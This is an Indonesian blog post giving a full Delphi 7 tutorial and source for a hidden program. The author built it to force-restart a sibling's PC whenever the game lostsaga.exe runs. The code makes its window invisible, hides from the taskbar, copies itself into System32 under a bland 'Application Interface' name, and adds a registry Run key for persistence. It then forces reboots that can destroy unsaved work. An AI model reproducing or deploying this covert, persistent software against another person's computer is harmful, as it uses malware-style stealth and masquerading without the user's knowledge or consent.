Rabu, 14 Desember 2011

Cara Mendeteksi Running Application di Delphi 7

Posted by Bayu Idham Fathurachman Label: , , , , , | 1 komentar

Ya ampuun , udah lama banget blog ini kagak di update :hammer.Saya tidak akan berapologi dengan mengatakan kalau saya sibuk ini-itu walaupun kenyataannya memang begitu.(itu berapologi juga bay -,-" ).Okay , untuk postingan kali ini saya akan membahas mengenai Cara Mendeteksi Running Application di Delphi 7.Maksudnya !? Jadi gini gan , saya itu kesel sama adik saya yang maniak banget
nge-game.Game online pastinya.Sehari bisa seharian dia anteng mantengin PC cuma untuk naekin level yang menurut saya amat sangat tidak bermanfaat.Apalagi dia masih SMA , dan sekarang sedang masa-masa ujian.Dengan motif tersebut , saya tergugah untuk membuat sebuah aplikasi yang berfungsi untuk setidaknya mereduksi kenikmatan dia main game , hahahahaha (evil laugh).Well , lalu bagaimana alur kerja aplikasi ini !? Trus hubungannya sama judul apa !? Okay , saya jelaskan :

1.Aplikasi ini akan mendetect file exe program , dalam kasus ini lostsaga.exe (nama gamenya).
2.Jika lostsaga.exe terdeteksi , maka dalam selang waktu beberapa menit , komputer akan restart sendiri , hehe.
3.Kita akan membuat aplikasi ini running ketika start up.
4.Tentu saja , kita juga harus menyembunyikan aplikasi ini di taskbar.

Terdengar simple bukan !? makanya , ayo kita buat programnya segera.Simpan aplikasi dengan nama AppInterface.
Pertama , kita harus setting terlebih dahulu formnya agar tak terlihar.Gampang kok , set properties borderStyle menjadi none , color menjadi clBlack dan transparent.Coba jalankan program anda , kalo anda tidak melihat form apapun , berarti sudah oke.Selanjutnya , tambahkan beberapa class pada kalusa uses , yaitu ShellAPI , TlHelp32 dan Registry.Lalu kita akan membuat function yang berfungsi untuk menyembunyikan program di taskbar.Ketikan kode berikut :

procedure showTaskBarIcon(Const Show : boolean);
begin
  ShowWindow(Application.Handle, SW_HIDE);

  if Show = false then
  SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle,GWL_EXSTYLE) or WS_EX_TOOLWINDOW)
  else
    SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_OVERLAPPED);
    ShowWindow(Application.Handle, SW_SHOW);
end;

Okay , function tersebut bertipe boolean.Yang nantinya akan di panggil saat aplikasi di jalankan.Selanjutnya , kita akan membuat function yang berfungsi untuk mendetect apakah sebuah program sedang running atau tidak (nyambung sama judul kan !? hehe ).Ketikan kode berikut :

function processExists(exeFileName: string): Boolean;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  Result := False;
  while Integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
      UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
      UpperCase(ExeFileName))) then
    begin
      Result := True;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

Sama seperti function sebelumnya , function ini juga bertipe boolean.Selanjutnya , kita akan membuat procedure yang mengatur program agar running ketika start up komputer.Inti dari procedure ini adalah , kita membuat value di registry dengan path program kita sebagai isinya.Dan ketika pertama booting , program di jalankan.Ketikan kode berikut :

procedure RunOnStartup(WindowTitle,CommandLn:String;RunOnlyOnce: Boolean);
var
  RegIniFile  : TRegIniFile;
begin
  RegIniFile := TRegIniFile.Create('');
  with RegIniFile do begin
    RootKey := HKEY_LOCAL_MACHINE;
    if RunOnlyOnce then
      RegIniFile.WriteString('Software\Microsoft\Windows\' +
                             'CurrentVersion\RunOnce'#0,
                              WindowTitle, CommandLn)
    else
      RegIniFile.WriteString('Software\Microsoft\Windows\' +
                             'CurrentVersion\Run'#0,
                              WindowTitle, CommandLn);
    Free;
  end;
end;

Seperti terlihat pada code diatas , bila program kita hanya ingin dijalankan sekali saja , maka yang di pilih adalah path RunOnce , bila ingin terus menerus dijalankan ketika start up , kita pilih path run.Selanjutnya , kita akan menuliskan 2 buah function yang berfungsi untuk menghandle proses turn off komputer.Ketikan kode berikut :

function setShutDownPrivilege : Boolean;
var
    TTokenHnd : THandle;
    TTokenPvg : TTokenPrivileges;
    cbtpPrevious : DWORD;
    rTTokenPvg : TTokenPrivileges;
    pcbtpPreviousRequired : DWORD;
    tpResult : Boolean;

const
    SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
  Result := false;

  if Win32Platform = VER_PLATFORM_WIN32_NT  then
    begin
      if OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then
        begin
          tpResult := lookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid);
          TTokenPvg.PrivilegeCount := 1;
          TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
          cbtpPrevious := SizeOf(rTTokenPvg);
          pcbtpPreviousRequired := 0;
          if tpResult then
            Result := windows.AdjustTokenPrivileges(TTokenHnd,False,TTokenPvg,cbtpPrevious,rTTokenPvg, pcbtpPreviousRequired);
        end;
    end;
end;

function Power(pwFlags: Cardinal) : Boolean;
begin
  if Win32Platform = VER_PLATFORM_WIN32_NT then
    setShutDownPrivilege;
    Result := ExitWindowsEx(pwFlags, 0);
end;

Okay , semua function dan procedure telah kita siapkan , saatnya proses eksekusi ;).Tambahkan 2 buah Timer.Pada timer1 , set Intervalnya menjadi 5000 dan enabled true.Lalu ketikan code berikut :

procedure TForm1.Timer1Timer(Sender: TObject);
var prog:string;
begin
  prog:='lostsaga.exe';  //nama programnya
  if processExists(prog) then
    begin
      Timer2.Enabled:=true;
    end;
end;

Seperti kita lihat , setiap 5 detik sekali , aplikasi akan mengecek , apakah program lostsaga.exe running atau tidak.Function processExists() dipanggil.Dan bila ternyata lostsaga.exe sedang running , maka timer2 akan di aktifkan.Okay , untuk timer2 , set intervalnya sesuai keinginan anda :D.Dan set propeties enabled menjadi false..Lalu ketikan kode berikut :

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  Power(EWX_REBOOT or EWX_FORCE);
end;

Yuph , kita akan menshutdown komputer kita sesuai interval yang telah di set.Dan yang terakhir , kita akan memindahkan aplikasi kita ke tempat yang cukup jarang di jamah oleh user awam pada saat program di jalankan.Masuk ke form event onShow lalu ketikan kode berikut :

procedure TForm1.FormShow(Sender: TObject);
begin
  if FileExists('AppInterface.exe') then //cek , apakah pogram kita ada
    begin
      //bila ada , kita akan pindahkan sesuai path
      MoveFile('AppInterface.exe','C:\WINDOWS\system32\AppInterface.exe');
    end;
    //function taskbar di panggil , dan di set false agar tak terlihat
  showTaskBarIcon(False);

  //kita panggil procedure ini agar program dijalankan tiap kali start up
  RunOnStartup('Application Interface','C:\Windows\System32\AppInterface.exe',False );
end;

Kode lengkapnya sebagai berikut :

unit Uutama;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs , TlHelp32, ExtCtrls, StdCtrls,ShellAPI,Registry;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Math;

{$R *.dfm}


procedure showTaskBarIcon(Const Show : boolean);
begin
  ShowWindow(Application.Handle, SW_HIDE);

  if Show = false then
  SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle,GWL_EXSTYLE) or WS_EX_TOOLWINDOW)
  else
    SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_OVERLAPPED);
    ShowWindow(Application.Handle, SW_SHOW);
end;

function processExists(exeFileName: string): Boolean;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  Result := False;
  while Integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
      UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
      UpperCase(ExeFileName))) then
    begin
      Result := True;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var prog:string;
begin
  prog:='lostsaga.exe';  //nama programnya
  if processExists(prog) then
    begin
      Timer2.Enabled:=true;
    end;
end;

procedure RunOnStartup(WindowTitle,CommandLn:String;RunOnlyOnce: Boolean);
var
  RegIniFile  : TRegIniFile;
begin
  RegIniFile := TRegIniFile.Create('');
  with RegIniFile do begin
    RootKey := HKEY_LOCAL_MACHINE;
    if RunOnlyOnce then
      RegIniFile.WriteString('Software\Microsoft\Windows\' +
                             'CurrentVersion\RunOnce'#0,
                              WindowTitle, CommandLn)
    else
      RegIniFile.WriteString('Software\Microsoft\Windows\' +
                             'CurrentVersion\Run'#0,
                              WindowTitle, CommandLn);
    Free;
  end;
end;



procedure TForm1.FormShow(Sender: TObject);
begin
  if FileExists('AppInterface.exe') then //cek , apakah pogram kita ada
    begin
      //bila ada , kita akan pindahkan sesuai path
      MoveFile('AppInterface.exe','C:\WINDOWS\system32\AppInterface.exe');
    end;
    //function taskbar di panggil , dan di set false agar tak terlihat
  showTaskBarIcon(False);

  //kita panggil procedure ini agar program dijalankan tiap kali start up
  RunOnStartup('Application Interface','C:\Windows\System32\AppInterface.exe',False );
end;

function setShutDownPrivilege : Boolean;
var
    TTokenHnd : THandle;
    TTokenPvg : TTokenPrivileges;
    cbtpPrevious : DWORD;
    rTTokenPvg : TTokenPrivileges;
    pcbtpPreviousRequired : DWORD;
    tpResult : Boolean;

const
    SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
  Result := false;

  if Win32Platform = VER_PLATFORM_WIN32_NT  then
    begin
      if OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then
        begin
          tpResult := lookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid);
          TTokenPvg.PrivilegeCount := 1;
          TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
          cbtpPrevious := SizeOf(rTTokenPvg);
          pcbtpPreviousRequired := 0;
          if tpResult then
            Result := windows.AdjustTokenPrivileges(TTokenHnd,False,TTokenPvg,cbtpPrevious,rTTokenPvg, pcbtpPreviousRequired);
        end;
    end;
end;

function Power(pwFlags: Cardinal) : Boolean;
begin
  if Win32Platform = VER_PLATFORM_WIN32_NT then
    setShutDownPrivilege;
    Result := ExitWindowsEx(pwFlags, 0);
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  Power(EWX_REBOOT or EWX_FORCE);
end;

end.


Okay , beres deh.Untuk percobaan , anda bisa merubah lostsaga.exe menjadi file exe yang ingin anda test , dan pada timer2 bisa anda rubah menjadi showmessage daripada harus cape-cape reboot :D.Jalankan program dan tunggu apa yang terjadi.Untuk membersihkan sisa-sisa dari kejahilan ini , anda bisa mengapus file AppInterface.exe di C:\Windows\System32\AppInterface.exe.Dan untuk menghapus regestrynya , buka regedit dan hapus value yang terdapat di HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.Okay , sekian untuk postingan kali ini , semoga bermanfaat ;).Oia , untuk source code programnya bisa anda download DISINI

Simak Juga Tutorial Lainnya:

1 komentar:

Game PC Ringan Terbaru 2015 mengatakan...

Mantaaap neh jadi semakin tambah ilmu makasih :)

11 April 2015 pukul 15.30

Posting Komentar

Langganan: Posting Komentar (Atom)